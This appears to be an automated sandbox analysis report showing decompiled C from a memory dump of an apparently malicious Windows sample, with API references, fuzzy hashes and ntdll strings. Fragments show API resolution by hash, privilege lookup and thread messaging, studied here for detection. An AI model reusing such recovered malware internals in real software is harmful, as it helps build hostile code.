							 *((intOrPtr*)(_t122 + 0x318)) = 0;
							 *((intOrPtr*)(_t122 + 0x320)) = 0;
							 *((intOrPtr*)(_t122 + 0x31c)) = 0;
							 *((intOrPtr*)(_t122 + 0x324)) = 0;
							 *((intOrPtr*)(_t122 + 0x328)) = 0;
							_t78 = E00417F70(_t118, _a12 + 0x220,  *((intOrPtr*)(_t122 + 0x2d0)), _t94, _t32);
							 *((intOrPtr*)(_t122 + 0x2dc)) = _t78;
							if(_t78 < 0) {
								break;
							} else {
								_t42 = _t122 + 0x2e0; // 0x2e0
								 *((intOrPtr*)(_t122 + 0x318)) = 0;
								 *((intOrPtr*)(_t122 + 0x320)) = 0;
								 *((intOrPtr*)(_t122 + 0x31c)) = 0;
								 *((intOrPtr*)(_t122 + 0x324)) = 0;
								 *((intOrPtr*)(_t122 + 0x328)) = 0;
								_t105 = _a12 + 0x224;
								 *((intOrPtr*)(_t122 + 0x2e4)) = _v132;
								 *_t94 = 0x18;
								 *((intOrPtr*)(_t122 + 0x2d0)) = 0x1a;
								_t80 = E00417FB0(_t118, _a12 + 0x224, 0x1a, _t94, _t42);
								 *((intOrPtr*)(_t122 + 0x2dc)) = _t80;
								if(_t80 < 0) {
									break;
								} else {
									_t57 = E0041A390( *((intOrPtr*)(E00419670(0, E00419650(_t105)) + 0x28))) + 2; // 0x2
									E0041A0A0( *((intOrPtr*)(_a8 + 0x10)) + 0x200,  *((intOrPtr*)(_t82 + 0x28)), _t84 + _t57);
									return E00413A30(_t118,  &_v656, 2, 0);
								}
							}
						}
					}
					L16:
				}
				__eflags = 0;
				return 0;
				goto L16;
			}

0x004072f6
0x004072f8
0x004072fb
0x004072fc
0x004072fe
0x00407300
0x00407309
0x00407314
0x00407317
0x00407324
0x00407329
0x00407332
0x00407337
0x0040733c
0x0040733f
0x0040734a
0x0040734a
0x00407351
0x00407360
0x00407366
0x00407382
0x00407387
0x0040738a
0x00407392
0x00000000
0x00000000
0x0040739c
0x004073b9
0x004073ba
0x004073c0
0x00000000
0x004073c2
0x004073c2
0x00000000
0x004073c2
0x004073d0
0x004073e0
0x004073e5
0x004073ea
0x004073ed
0x004073f5
0x004073ff
0x00000000
0x00407401
0x00407410
0x00407419
0x00407420
0x00407425
0x00407425
0x00407436
0x0040743c
0x00407442
0x00407448
0x0040744e
0x00407454
0x0040745a
0x00407464
0x0040746c
0x00000000
0x00407472
0x00407475
0x0040747c
0x00407482
0x00407488
0x0040748e
0x00407494
0x004074a0
0x004074a8
0x004074ae
0x004074b4
0x004074be
0x004074c6
0x004074ce
0x00000000
0x004074d4
0x004074fb
0x00407502
0x00407521
0x00407521
0x004074ce
0x0040746c
0x004073ff
0x00000000
0x0040739c
0x004073c9
0x004073cf
0x00000000

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072CA

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: b4a3623121390102af070433341b07b2865e32d441b326116a4d667e537993ed
Instruction ID: 783b20d285cd96a7b16b5fa71fe7f30bc8f72ec8892a459d182b343cf143ea92
Opcode Fuzzy Hash: b4a3623121390102af070433341b07b2865e32d441b326116a4d667e537993ed
Instruction Fuzzy Hash: D851A3709053099FE725DF24CC86FEBB7E8EB48304F10446EF909A7281D778A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407270, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407270(void* __ebx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* __esi;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t22;
				intOrPtr* _t26;
				void* _t27;
				void* _t31;

				_t31 = __eflags;
				_v68 = 0;
				E0041A120( &_v67, 0, 0x3f);
				E0041AD00( &_v68, 3);
				_t25 = _a4 + 0x1c;
				_t12 = E00409B20(__ebx, _a4 + 0x1c, _t31, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E30(_t25, _t25, _t12, 0, 0, 0xc4e7b6d6);
				_t26 = _t13;
				if(_t26 != 0) {
					_t22 = _a8;
					_t14 = PostThreadMessageW(_t22, 0x111, 0, 0); // executed
					_t33 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t26(_t22, 0x8003, _t27 + (E00409280(__ebx,  &_v68, _t33) & 0x000000ff) - 0x40, 1, 8, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407270
0x0040727f
0x00407283
0x0040728e
0x0040729a
0x0040729e
0x004072ae
0x004072b3
0x004072ba
0x004072bd
0x004072ca
0x004072cc
0x004072ce
0x004072eb
0x004072eb
0x00000000
0x004072ed
0x004072f2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072CA

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 417bc7ea1a1c6509765bd4add674484d9fdc0ffc6b77e07eddde595002402b40
Instruction ID: 56c3d226799d0b3ae18a0b915744ed6a5c17377f86b27fc779491ac50ffcbb71
Opcode Fuzzy Hash: 417bc7ea1a1c6509765bd4add674484d9fdc0ffc6b77e07eddde595002402b40
Instruction Fuzzy Hash: 1B018431A8122877E720A6959C03FFF776C9B40B55F15015EFF04BA1C2E6A8790646EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418A2B, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00418A2B(void* __eax, void* __ecx, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t12;
				void* _t19;

				asm("daa");
				asm("adc byte [ebp-0x75], 0xec");
				_t9 = _a4;
				E004191C0(_t19, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_t9 + 0xa18)), 0, 0x46);
				_t12 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t12;
			}

0x00418a2b
0x00418a2f
0x00418a33
0x00418a4a
0x00418a60
0x00418a64

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418A60

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 66c21b9e121b1a9c312d26d1e113c3049921657f4cea5e232676f4674beb0d73
Instruction ID: 8686bb6c02790e179d64622211516ac9c3d5eee615ccf8078d03d2cb8dcf313f
Opcode Fuzzy Hash: 66c21b9e121b1a9c312d26d1e113c3049921657f4cea5e232676f4674beb0d73
Instruction Fuzzy Hash: 5FE092B16002057BDB20DF54CC45EDB3769EF85354F008558FD49AB282C634A941CBF4

Uniqueness

Uniqueness Score: -1.00%

Function 004188D0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004188D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E004191C0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004188df
0x004188e7
0x004188fd
0x00418901

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004188FD

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 2a8b4d01c77f57f9537e4a8c9056324bca9a4fb502523cc2798246bee73f8781
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: D7E012B1200208ABDB18EF99CC49EA777ACAF88750F018559FA085B242C630E910CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418890, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418890(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;
				void* _t15;

				E004191C0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004188a7
0x004188bd
0x004188c1

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004188BD

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 5c156194473f1d05c310d89676d9f0526131e4dffca8646f7b57c59a0eef6258
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 34E012B1200208ABDB14EF99CC45EA777ACAF88654F118559FA085B242C630F910CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418A30, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418A30(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E004191C0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x00418a4a
0x00418a60
0x00418a64

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418A60

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: fa95252e36870a94604636740fee15c405cfb0840f5ac42baad6929b42f97f84
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 1AE01AB12002086BDB10DF49CC85EE737ADAF89650F018555FA0857241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418902, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00418902() {
				signed char _t10;
				void* _t13;
				void* _t14;

				asm("a16 pop ds");
				_pop(ds);
				asm("in eax, dx");
				 *(_t14 + 0x326ab855) =  *(_t14 + 0x326ab855) << _t10;
				asm("cmc");
				_t7 =  *0xFFFFFFFF8B55F59E;
				_push(_t14);
				E004191C0(_t13,  *0xFFFFFFFF8B55F59E,  *0xFFFFFFFF8B55F59E + 0xc7c,  *((intOrPtr*)(_t7 + 0xa14)), 0, 0x36);
				ExitProcess( *0xFFFFFFFF8B55F5A2);
			}

0x00418902
0x00418903
0x00418904
0x00418905
0x0041890b
0x00418913
0x0041891c
0x0041892a
0x00418938

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418938

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e01aa982a65725edb501511c9ccc0311e02d1703b2f15a734acc278e8a68f61e
Instruction ID: f9cb95ba13f1772be797c44d40c9f2e6e17b8d9c83e87f25a13786c7f20e452b
Opcode Fuzzy Hash: e01aa982a65725edb501511c9ccc0311e02d1703b2f15a734acc278e8a68f61e
Instruction Fuzzy Hash: C1E08671600210BBD620DF588C86FC33BD8DF5D650F01456CFD5997241C531BA05CA91

Uniqueness

Uniqueness Score: -1.00%

Function 00418910, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418910(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E004191C0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418913
0x0041892a
0x00418938

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418938

Memory Dump Source

Source File: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: ebe942e9f85fd7778464d46fb55928cc225e25ca24bfac27d2b1ada9d5edf0ef
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 09D012716002147BD620DB99CC85FD7779CDF49750F018465BA1C5B241C531BA00C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00FA967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00FA9694

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6cf09e70154167591f5bedfa2631967d3043e111738d751f2d0e06dea770ed62
Instruction ID: f789207465213405ac01bc284769a0355a9b2967420add20f0e98a625e29db83
Opcode Fuzzy Hash: 6cf09e70154167591f5bedfa2631967d3043e111738d751f2d0e06dea770ed62
Instruction Fuzzy Hash: 68B09BF1D054D5C6D751D76146087177D00BBD5751F16C071D1020651B4778D491F5B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0101B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0101B484
The instruction at %p tried to %s , xrefs: 0101B4B6
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0101B3D6
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0101B476
*** An Access Violation occurred in %ws:%s, xrefs: 0101B48F
*** Inpage error in %ws:%s, xrefs: 0101B418
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0101B53F
<unknown>, xrefs: 0101B27E, 0101B2D1, 0101B350, 0101B399, 0101B417, 0101B48E
read from, xrefs: 0101B4AD, 0101B4B2
Go determine why that thread has not released the critical section., xrefs: 0101B3C5
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0101B39B
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0101B47D
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0101B2F3
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0101B38F
*** then kb to get the faulting stack, xrefs: 0101B51C
*** enter .cxr %p for the context, xrefs: 0101B50D
The resource is owned exclusively by thread %p, xrefs: 0101B374
This failed because of error %Ix., xrefs: 0101B446
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0101B2DC
The critical section is owned by thread %p., xrefs: 0101B3B9
The instruction at %p referenced memory at %p., xrefs: 0101B432
an invalid address, %p, xrefs: 0101B4CF
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0101B314
The resource is owned shared by %d threads, xrefs: 0101B37E
a NULL pointer, xrefs: 0101B4E0
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0101B305
*** Resource timeout (%p) in %ws:%s, xrefs: 0101B352
*** enter .exr %p for the exception record, xrefs: 0101B4F1
write to, xrefs: 0101B4A6
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0101B323

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 8ce4831c35c163edbf1df2cf278152f234f2d163c9e1167adf472a745d43bcd4
Instruction ID: 1c0fe1f8d75cc822b6928728b42b8c30bf3f07b6162fbec4ee77413ae98dd934
Opcode Fuzzy Hash: 8ce4831c35c163edbf1df2cf278152f234f2d163c9e1167adf472a745d43bcd4
Instruction Fuzzy Hash: C3812232A41204FFDB256A098C46E7B3F76AF46B52F008084FB042B166D7ADD451EAB3

Uniqueness

Uniqueness Score: -1.00%

Function 01021C06, Relevance: 31.4, Strings: 25, Instructions: 195COMMON

Download Yara Rule

Strings

heap_failure_internal, xrefs: 01021C6E
heap_failure_generic, xrefs: 01021C7C
HEAP[%wZ]: , xrefs: 01021C30, 01021CF7, 01021D42, 01021D8B, 01021DD4, 01021E25, 01021E6D
heap_failure_virtual_block_corruption, xrefs: 01021C91
Stack trace available at %p, xrefs: 01021E86
heap_failure_entry_corruption, xrefs: 01021C83
heap_failure_invalid_argument, xrefs: 01021CAD
heap_failure_multiple_entries_corruption, xrefs: 01021C8A
Parameter2: %p, xrefs: 01021DA5
Parameter1: %p, xrefs: 01021D5C
Error code: %d - %s, xrefs: 01021D12
Parameter3: %p, xrefs: 01021DEE
heap_failure_freelists_corruption, xrefs: 01021CC9
heap_failure_buffer_underrun, xrefs: 01021C9F
HEAP: , xrefs: 01021C16, 01021C3D, 01021D04, 01021D4F, 01021D98, 01021DE1, 01021E32, 01021E7A
heap_failure_lfh_bitmap_mismatch, xrefs: 01021CD7
heap_failure_usage_after_free, xrefs: 01021CBB
heap_failure_block_not_busy, xrefs: 01021CA6
heap_failure_cross_heap_operation, xrefs: 01021CC2
heap_failure_unknown, xrefs: 01021C75
heap_failure_invalid_allocation_type, xrefs: 01021CB4
heap_failure_buffer_overrun, xrefs: 01021C98
Heap error detected at %p (heap handle %p), xrefs: 01021C50
heap_failure_listentry_corruption, xrefs: 01021CD0
Last known valid blocks: before - %p, after - %p, xrefs: 01021E45

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: c00581dd8b913b7f4dafc1ce0287d3566254b4b89b7ac3ddf071b9dc1471309a
Instruction ID: bf18844d308f3eaa047d7cd36a80ab8582d237227d8622db40db7756326234a2
Opcode Fuzzy Hash: c00581dd8b913b7f4dafc1ce0287d3566254b4b89b7ac3ddf071b9dc1471309a
Instruction Fuzzy Hash: 99615A37514158EFC315AB48EC95D3573E4EB05B31B19807AFE49EB352D7389C80AB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00F73D34, Relevance: 6.7, Strings: 5, Instructions: 435COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 00F73D6F
Kernel-MUI-Number-Allowed, xrefs: 00F73D8C
Kernel-MUI-Language-Disallowed, xrefs: 00F73E97
Kernel-MUI-Language-Allowed, xrefs: 00F73DC0
Kernel-MUI-Language-SKU, xrefs: 00F73F70

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 33e2eecd8750794257a123e5655515422547bb61f219c633176be248cbead363
Instruction ID: ba98a027eaa28c77416876c61f83c85f67373d02eec11e290d88e5e9d78025fb
Opcode Fuzzy Hash: 33e2eecd8750794257a123e5655515422547bb61f219c633176be248cbead363
Instruction Fuzzy Hash: E7F14E72D00219EFCB11DF98C941EEEBBB9FF48750F14406AE905A7251E734AE05EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E620, Relevance: 3.9, Strings: 3, Instructions: 165COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 00F6E68C
@, xrefs: 00F6E6C0
InstallLanguageFallback, xrefs: 00F6E6DB

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 5d0543260bf0e5357891035f479d18deb629bffe96a1b8fa04d3d7fe0a3e3576
Instruction ID: 1537b4f48714cdc20e7b833b60bf2ce8a96ad67ac99deb94312911fb596ef2d9
Opcode Fuzzy Hash: 5d0543260bf0e5357891035f479d18deb629bffe96a1b8fa04d3d7fe0a3e3576
Instruction Fuzzy Hash: F651C4B69083069BC714DF24C851FABB3E8AF88724F04092EF995D7240E734ED44E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F6B171, Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

APIs

_vswprintf_s.LIBCMT ref: 00FC48AD

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 9a73f57c66c982d01f036e9aafa05ac9b2958fa069a71b1352d8fd50bba6ebeb
Instruction ID: 4cab9ae5bd09f0030adaed8b04fbc57ed0e0928b32a71877690587cf8cc74fcd
Opcode Fuzzy Hash: 9a73f57c66c982d01f036e9aafa05ac9b2958fa069a71b1352d8fd50bba6ebeb
Instruction Fuzzy Hash: 2351F671D0026A8EDF30CF64C956BAEBBB0BF01320F1042ADE8599B681D7745D45AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F8B944, Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F8B9A5

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 53c34696741bbe033cf61effa891eba2294d3559871dd97a64881f59232044bc
Instruction ID: 657601b7b6813da64f76332c11f48ef6a43304bedf0da732670869c5cb896b62
Opcode Fuzzy Hash: 53c34696741bbe033cf61effa891eba2294d3559871dd97a64881f59232044bc
Instruction Fuzzy Hash: 9E516771A08301CFC724EF29C480A6ABBE5FB88720F24896EF99587345D775EC44DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F9FAB0, Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00FDBE0F

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 84980c42d496d843d59c3cfe73afcf61bfa12b5533504e29193eb4851baec0ba
Instruction ID: b763e0caa4adf3e17111d803a4783df03e484751935bd54f5ebe987aceea8828
Opcode Fuzzy Hash: 84980c42d496d843d59c3cfe73afcf61bfa12b5533504e29193eb4851baec0ba
Instruction Fuzzy Hash: 0EA10731F00606CBEF25DF64C8507AAB3A6AF48720F15857AE946CB780DB34DD49AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F62D8A, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 00FBFA4A

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 42936f1bf35c66c783f1cfa651649ebfc86d2d0979c0abcacb307048af41468f
Instruction ID: 288ceb50f14f24a7636c29e5cb50c5308af3f777e6e321bc4a6f5f0089b8f926
Opcode Fuzzy Hash: 42936f1bf35c66c783f1cfa651649ebfc86d2d0979c0abcacb307048af41468f
Instruction Fuzzy Hash: 54613472E00A04AFDB35DB69CC40BBEB7A8EF40720F244279E855972C1C7399D04BB91

Uniqueness

Uniqueness Score: -1.00%

Function 01030EA5, Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

`, xrefs: 01030F16

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: bdb418dc9ccbade43a6316734fe4fdcb3379c5f515f94b3026472c983d28ab12
Instruction ID: 157ef5f254fe0947e23e498a579acaed26b31b454c167bb805e3b67efe23ad82
Opcode Fuzzy Hash: bdb418dc9ccbade43a6316734fe4fdcb3379c5f515f94b3026472c983d28ab12
Instruction Fuzzy Hash: AD51AD713083429FE325DF28D884B5BBBE9EBC8304F04096CFA9687690D671E805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F9F0BF, Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 00F9F124

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 936c1198b00c75d3ffc09318eff5d6666fa1264a587a5d8a8a8d07936b85dc71
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 7F519A72504710AFD321DF29C841A6BBBF8FF48710F10892EF995876A0E7B8E944DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FE3540, Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 00FE358F

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 3c42fc0ed167ef9ce6bc07ee4bd0f01c0a490b6f94c2fb57416a8be19f130820
Instruction ID: 1391e36de4e54fe88103f229eddfb5699c0cae8c230a0ee02ea03582fdedf1c1
Opcode Fuzzy Hash: 3c42fc0ed167ef9ce6bc07ee4bd0f01c0a490b6f94c2fb57416a8be19f130820
Instruction Fuzzy Hash: 3F4164F1D0016CABDB21DA60CC89FEEB77CAB44714F0045A5EA08AB241DB749F88DF94

Uniqueness

Uniqueness Score: -1.00%

Function 00FE3884, Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 00FE38B4

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 1e2746b5acba30a8f17f2b443df8dac3377a3bf826081c3e5815120494909846
